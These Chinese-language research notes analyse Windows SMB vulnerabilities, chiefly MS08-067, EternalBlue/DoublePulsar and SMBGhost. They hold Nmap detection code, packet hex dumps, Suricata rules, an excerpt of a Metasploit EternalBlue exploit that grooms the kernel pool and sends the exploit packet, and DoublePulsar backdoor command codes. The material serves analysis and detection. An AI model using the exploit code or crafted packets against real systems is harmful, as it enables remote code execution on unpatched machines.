MS08-067
CVE-2008-4250微軟編號為MS08-067,根據微軟安全漏洞公告,基本可以了解其原理:
MS08-067漏洞是通過MSRPC over SMB通道調用Server服務程序中的NetPathCanonicalize函數時觸發的,而NetPathCanonicalize函數在遠程訪問其他主機時,會調用NetpwPathCanonicalize函數,對遠程訪問的路徑進行規范化(將路徑字符串中的'/'轉換為'',同時去除相對路徑"."和".."),而在NetpwPathCanonicalize函數中發生了棧緩沖區內存錯誤,造成可被利用實施遠程代碼執行。
exploit建立了TCP連接,然后進行SMB空會話連接。構建惡意路徑,先初始化一些變量,填補字符串pad、服務器名稱server以及前綴prefix、路徑path。函數使用rop技術構建shellcode,將payload進行編碼之后,構造觸發漏洞的unicode相對路徑"....",然后填充字符串,添加字符串結尾'\0'。
漏洞原理
腳本地址 https://svn.nmap.org/nmap/scripts/smb-vuln-ms08-067.nse
MS17-010
MS17-010(永恆之藍)應用的不僅僅是一個漏洞,而是包含Windows SMB 遠程代碼執行漏洞CVE-2017-0143、CVE-2017-0144、CVE-2017-0145、CVE-2017-0146、CVE-2017-0147、CVE-2017-0148在內的6個SMB漏洞的攻擊,所以攻擊顯得十分繁瑣。
參考資料
[MS17-010譯文](https://www.anquanke.com/post/id/86270)
[TrendMicro原文](https://blog.trendmicro.com/trendlabs-security-intelligence/ms17-010-eternalblue/)
漏洞原理
流量取自Msf MS17-010/Nmap
漏洞出現在Windows SMB v1中的內核態函數srv!SrvOs2FeaListToNt在處理FEA(File Extended Attributes)轉換時,在大非分頁池(內核的數據結構,Large Non-Paged Kernel Pool)上存在緩沖區溢出。函數srv!SrvOs2FeaListToNt在將FEA list轉換成NTFEA(Windows NT FEA) list前會調用srv!SrvOs2FeaListSizeToNt去計算轉換后的FEA lsit的大小。然后會進行如下操作:
1.srv!SrvOs2FeaListSizeToNt會計算FEA list的大小並更新待轉換的FEA list的大小
2.因為錯誤的使用WORD強制類型轉換,導致計算出來的待轉換的FEA list的大小比真正的FEA list大
3.因為原先的總大小計算錯誤,導致當FEA list被轉化為NTFEA list時,會在非分頁池導致緩沖區溢出
流量分析
在NT Trans Rquest(0xa0)中
TotalDataCount為66512>FEA list的大小(65536)
TotalDataCount(4字節):在此事務請求中發送的SMB_COM_NT_TRANSACT數據字節的總數。在屬於同一事務的任何或所有后續SMB_COM_NT_TRANSACT_SECONDARY請求中,這個值可能會減少。此值表示transaction data bytes, 不是SMB data bytes.
IN-DATA會被轉換為FEA list的結構,FEA list結構如下圖所示
腳本
腳本地址 https://svn.nmap.org/nmap/scripts/smb-vuln-ms17-010.nse
nmap使用
nmap -p445 --script smb-vuln-ms17-010
該腳本連接到$IPC tree,在FID 0上執行一個transaction,並檢查是否返回錯誤“STATUS_INSUFF_SERVER_RESOURCES”,以確定目標是否沒有針對ms17-010打過修補。另外,它檢查補丁系統返回的已知錯誤代碼。
Nmap腳本
--SMB_COM_TRANSACTION opcode is 0x25
smb_header = smb.smb_encode_header(smbstate, 0x25, overrides)
smb_params = string.pack(">I2 I2 I2 I2 B B I2 I4 I2 I2 I2 I2 I2 B B I2 I2 I2 I2 I2 I2",
0x0, -- Total Parameter count (2 bytes)
0x0, -- Total Data count (2 bytes)
0xFFFF, -- Max Parameter count (2 bytes)
0xFFFF, -- Max Data count (2 bytes)
0x0, -- Max setup Count (1 byte)
0x0, -- Reserved (1 byte)
0x0, -- Flags (2 bytes)
0x0, -- Timeout (4 bytes)
0x0, -- Reserved (2 bytes)
0x0, -- ParameterCount (2 bytes)
0x4a00, -- ParameterOffset (2 bytes)
0x0, -- DataCount (2 bytes)
0x4a00, -- DataOffset (2 bytes)
0x02, -- SetupCount (1 byte)
0x0, -- Reserved (1 byte)
0x2300, -- PeekNamedPipe opcode
0x0, --
0x0700, -- BCC (Length of "\PIPE\")
0x5c50, -- \P
0x4950, -- IP
0x455c -- E\
)
3.3補充
通過判斷服務器響應錯誤代碼判斷是否利用成功,
這里實際有兩個取值分別用於判斷機器是否打補丁、是否可被利用
STATUS_INSUFF_SERVER_RESOURCES(0xc0000205)。小端序。
--STATUS_INSUFF_SERVER_RESOURCES indicate that the machine is not patched
if err == 0xc0000205 then //判斷patch
stdnse.debug1("STATUS_INSUFF_SERVER_RESOURCES response received")
return true
elseif err == 0xc0000022 then
stdnse.debug1("STATUS_ACCESS_DENIED response received. This system is likely patched.")
return false, "This system is patched."
elseif err == 0xc0000008 then
stdnse.debug1("STATUS_INVALID_HANDLE response received. This system is likely patched.")
return false, "This system is patched."
end
stdnse.debug1("Error code received:%s", stdnse.tohex(err))
else
stdnse.debug1("Received invalid command id.")
return false, string.format("Unexpected SMB response:%s", stdnse.tohex(err))
end
end
end
STATUS_INVALID_PARAMETER 0xC000000D 漏洞利用
# Step 3: Groom the pool with payload packets, and open/close SMB1 packets
print_status("Starting non-paged pool grooming")
# initialize_groom_threads(ip, port, payload, grooms)
fhs_sock = smb1_free_hole(true)
@groom_socks = []
print_good("Sending SMBv2 buffers")
smb2_grooms(grooms, payload_hdr_pkt)
fhf_sock = smb1_free_hole(false)
print_good("Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.")
fhs_sock.shutdown()
print_status("Sending final SMBv2 buffers.") # 6x
smb2_grooms(6, payload_hdr_pkt) # todo: magic #
fhf_sock.shutdown()
print_status("Sending last fragment of exploit packet!")
final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
sock.put(final_exploit_pkt)
print_status("Receiving response from exploit packet")
code, raw = smb1_get_response(sock)
code_str = "0x" + code.to_i.to_s(16).upcase
if code.nil?
print_error("Did not receive a response from exploit packet")
elsif code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)
print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!")
else
print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!")
end
https://github.com/hanshaze/MS17-010-EternalBlue-WinXP-Win10/blob/master/ms17_010_eternalblue_winXP-win10.rb
http://qxzy.org/archives/20
https://zhuanlan.zhihu.com/p/27705903
流量發現
關於DoublePulsar
分析報告
參考鏈接
后門函數將SMB的Timeout請求字段解碼,把解碼的結果跟0×23,0×77,0xc8比較作為后門的命令
當結果為0×23時,后門函數用來檢查后門是否已經安裝,即PING命令。
當結果為0×77時,后門函數用來進一步執行傳入的shellcode。
當結果為0xc8時,后門函數用來卸載后門。
這個請求中Timeout的值為 93 89 07 00: 0×93+0×89+0×07+00= 0×123,取最后一個字節,結果為0×23,根據上面的分析,這是PING命令。
Doublepulsar復現
=待補充=
http://www.secist.com/archives/3504.html
兩段payload
00 00 c0 98 07 c8 00 00 00 00 00 00 00 02 08 9c 13 00 08R 00
CVE-2009-3103
https://blog.csdn.net/lhorse003/article/details/71758812
Nmap探測腳本
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
MS06-025
Nmap腳本
--create the SMB session
--first we try with the "\router" pipe, then the "\srvsvc" pipe.
local status, smb_result, smbstate, err_msg
status, smb_result = msrpc.start_smb(host, msrpc.ROUTER_PATH)
if(status == false) then
err_msg = smb_result
status, smb_result = msrpc.start_smb(host, msrpc.SRVSVC_PATH) --rras is also accessible across SRVSVC pipe
if(status == false) then
return false, NOTUP --if not accessible across both pipes then service is inactive
end
end
smbstate = smb_result
--bind to RRAS service
local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.RASRPC_UUID, msrpc.RASRPC_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
End
Nmap流量
嘗試連接\router \srvsvc
MS07-029
Nmap流量
嘗試打開“\DNSSERVER”,報錯,未開啟DNS RPC服務。
CVE-2020-0796
SMB Ghost v3漏洞
漏洞原理
流量樣本
拿到一段DDOS流量樣本 其中協商部分的data與Mcafee一致
0000 fc 53 4d 42 a2 00 00 00 02 00 00 00 ff ff ff ff .SMB............
0010 18 1b 8e 00 fe 53 4d 42 40 00 01 00 01 00 01 00 .....SMB@.......
0020 80 28 00 03 00 8b 00 00 00 ff fe 20 00 07 00 3f .(......... ...?
0030 02 19 50 01 5d 01 58 00 4a 28 00 03 00 60 48 06 ..P.].X.J(...`H.
0040 00 40 00 00 06 2b 06 01 05 05 02 a0 3e 30 3c a0 .@...+......>0<.
0050 0e 30 0c 06 0a 78 00 04 01 82 37 02 02 0a a2 2a .0...x....7....*
0060 04 28 4e 54 4c ff 7f 61 08 4d 53 53 50 4a 03 97 .(NTL..a.MSSPJ..
0070 82 08 e2 30 00 07 00 0a 00 ba 47 30 00 0f ...0......G0..
解析如下:
We can see the very large OriginalSize used for attacker-controlled data (4294967295 is 0xFFFFFFFF in hex which is also -1 if viewed as a signed long). This is copied into a smaller fixed buffer and results in a classic buffer overflow.
Of note is the ProtocolID of \xfcSMB, which must be present and represents the magic bytes used to indicate the message must be decompressed per the spec.
suricata規則
alert tcp any any -> any any (msg: "ATTACK [PTsecurity] CoronaBlue/SMBGhost DOS/RCE Attempt (CVE-2020-0796)"; flow: established; content: "|FC|SMB"; depth: 8; byte_test: 4, >, 0x800134, 8, relative, little; reference: url, www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796; reference: cve, 2020-0796; reference: url, github.com/ptresearch/AttackDetection; metadata: Open Ptsecurity.com ruleset; classtype: attempted-admin; sid: 10005777; rev: 2;)
alert tcp any any -> any any (msg: "ATTACK [PTsecurity] CoronaBlue/SMBGhost DOS/RCE Attempt (CVE-2020-0796)"; flow: established; content: "|FC|SMB"; depth: 8; byte_test: 4, >, 0x800134, 0, relative, little; reference: url, www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796; reference: cve, 2020-0796; reference: url, github.com/ptresearch/AttackDetection; metadata: Open Ptsecurity.com ruleset; classtype: attempted-admin; sid: 10005778; rev: 2;)
byte_test: 4, >, 0x800134, 8, relative, little;
relative 使用一個相對於上次模式匹配的相對的偏移量。
big 以網絡字節順序處理數據(缺省)。
little 以主機字節順序處理數據。
從前面匹配位置結尾開始>,向后偏移8字節,獲取4字節數據,與十六進制0x800134比較,如果
大於則命中。
按照上面的規則檢測流量包,確實命中
|FC|SMB -> fc 53 4d 42 a2
向后偏移8字節得到ff ff ff ff > 0x800134
OriginalCompressedSegmentSize與最大值0x800134比較
參考鏈接
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796
https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
https://www.freebuf.com/sectool/232738.html
https://www.cnblogs.com/potatsoSec/p/12484973.html
CVE-2020-1301
SMB v1漏洞 觸發需要預先進行身份認證
https://www.52pojie.cn/thread-1208267-1-1.html